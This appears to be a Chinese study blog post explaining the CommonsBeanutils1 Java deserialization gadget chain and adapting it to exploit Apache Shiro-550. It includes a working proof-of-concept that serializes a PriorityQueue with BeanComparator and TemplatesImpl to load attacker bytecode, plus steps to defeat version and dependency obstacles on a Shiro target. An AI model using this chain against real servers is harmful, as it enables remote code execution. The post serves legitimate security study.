CommonsBeanutils+shiro利用
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对象(也称为JavaBean)的一些操作方法。
基础知识
可以先去了解一下java beanhttps://liaoxuefeng.com/books/java/oop/core/javabean/index.html (很早以前还学过的说(。﹏。))
在Java中,有很多class
的定义都符合这样的规范:
- 若干
private
实例字段; - 通过
public
方法来读写实例字段。
例如:
public class Person {
private String name;
private int age;
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public int getAge() { return this.age; }
public void setAge(int age) { this.age = age; }
}
如果读写方法符合以下这种命名规范:
// 读方法:
public Type getXyz()
// 写方法:
public void setXyz(Type value)
那么这种class
被称为JavaBean
貌似就是一种特殊的封装?
commons-beanutils中提供了一个==静态方法PropertyUtils.getProperty== ,让使用者可以直接调用任意JavaBean的getter方法,比如
PropertyUtils.getProperty(1 new Cat(), "name");
PropertyUtils.getProperty 还支持递归获取属性,比如a对象中有属性b,b对象中有属性c,我们可以通过PropertyUtils.getProperty(a, “b.c”); 的方式进行递归获取。通过这个方法,使用者可以很方便地调用任意对象的getter,适用于在不确定JavaBean是哪个类对象时使用。
emmm,目前推测是不是这个方法灵活度很高可以让我们去组合反序列化链子呢?
getter的妙用
我们需要找可以利用的java.util.Comparator 对象,在commons-beanutils包中就存在一个: org.apache.commons.beanutils.BeanComparator 。
ps: CC2的时候是在PQ调用了一个Comparator对象,那这里应该也是走PQ
记住这个BeanComparator(CC2用的是TransformingComparator)
BeanComparator 是commons-beanutils提供的用来比较两个JavaBean是否相等的类,其实现了java.util.Comparator 接口。
这是他的compare方法
注意它的compare方法调用了PropertyUtils.getProperty,获取对象的this.property属性
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
PropertyUtils.getProperty 这个方法会自动去调用一个JavaBean的getter方法,这个点是任意代码执行的关键。有没有什么getter方法可以执行恶意代码呢?
我们之前执行字节码的链子是这样的,之前用的是newTransformer(),CB1要从getOutputProperties()开始调了
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
而==getOutputProperties 这个名字,是以get 开头,正符合getter的定义==。
所以, PropertyUtils.getProperty( o1, property ) 这段代码,当o1是一个TemplatesImpl 对象,而property 的值为outputProperties 时,将会自动调用getter,也就是TemplatesImpl#getOutputProperties() 方法,触发代码执行。
啊,这里又串起来了,感觉也是很好理解的一个链子,CC2也是(所以说学java反序列化还是一开始整的比较焦头烂额?)
链子就是 PQ - BeanComparator - TemplatesImpl
package com.test.CB1;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.test.CC2.Evil;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{ClassPool.getDefault().get(com.test.CC2.Evil.class.getName()).toBytecode()});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
final BeanComparator comparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{obj, obj});
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
调试
(学java一定要自己进去调试一遍)
直接在PQ的readobject打断点,像CC2一样的反序列化入口点
然后平淡的走过heapify、siftDown,进入siftDownUsingComparator
调用comparator
然后就到了我们这次认识的新朋友BeanComparator,我们构造的时候调用的是他的无参构造,所以上面的if就过了
这里的o1和o2都是Templateslmpl
进入getOutputProperties方法,接下来就是一路往下调用了
调用到defineClass,结束
CB1 shiro利用
接下来就是讲CB1怎么改能在shiro中利用了,这里还是跟着p神
Shiro-550利用的难点
之前跟p神文章学CC链的shiro利用时,p神给了一个简单的shiro demo,只用到了很少的依赖,其中一个依赖就是commons-collections,是为了演示CC打shiro用的,但是实际场景中shiro不一定安装了CC的依赖,那是不是说shiro就打不了了呢?
在这个pom.xml中把CC的依赖去除
重新加载maven,可以看到多了一个CB,Shiro是依赖于commons-beanutils的。
用我们上面的payload生成payload发送尝试攻击
并没有成功,此时在Tomcat的控制台可以看到报错信息:
org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc
serialVersionUID = -2044202215314119608, local class serialVersionUID =
-3490850999041592962
==serialVersionUID必须一致,也就是说服务端的CB版本得和我们生成POC的CB版本一致==
如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。
当然,开发者也可以手工给类赋予一个serialVersionUID 值,此时就能手工控制兼容性了。
所以,出现错误的原因就是,本地使用的commons-beanutils是1.9.2版本,而Shiro中自带的commons-beanutils是1.8.3版本,出现了serialVersionUID 对应不上的问题。
解决方法也比较简单,将本地的commons-beanutils也换成1.8.3版本。
==CB反序列化时需要依赖于CC==
更换版本后,再次生成Payload进行测试,此时Tomcat端爆出了另一个异常,仍然没有触发代码执行
Unable to load class named
[org.apache.commons.collections.comparators.ComparableComparator]
简单来说就是没找到org.apache.commons.collections.comparators.ComparableComparator类,从包名即可看出,这个类是来自于commons-collections。 commons-beanutils本来依赖于commons-collections,但是在Shiro中,它的commons-beanutils虽然包含了一部分commons-collections的类,但却不全。这也导致,正常使用Shiro的时候不需要依赖于 commons-collections,但反序列化利用的时候需要依赖于commons-collections。
无依赖的Shiro反序列化利用链
我们先来看看org.apache.commons.collections.comparators.ComparableComparator 这个类在哪里使用了:
在BeanComparator 类的构造函数处,当没有显式传入Comparator 的情况下,则默认使用ComparableComparator 。
既然此时没有ComparableComparator ,我们需要找到一个类来替换,它满足下面这几个条件:
- 实现java.util.Comparator 接口
- 实现java.io.Serializable 接口
- Java、shiro或commons-beanutils自带,且兼容性强
通过IDEA的功能,我们找到一个CaseInsensitiveComparator :
这个CaseInsensitiveComparator 类是java.lang.String 类下的一个内部私有类,其实现了Comparator 和Serializable ,且位于Java的核心代码中,兼容性强,是一个完美替代品。我们通过String.CASE_INSENSITIVE_ORDER 即可拿到上下文中的CaseInsensitiveComparator 对象,用它来实例化BeanComparator :
final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
也就是解决掉上面两个坑就搞定了 hh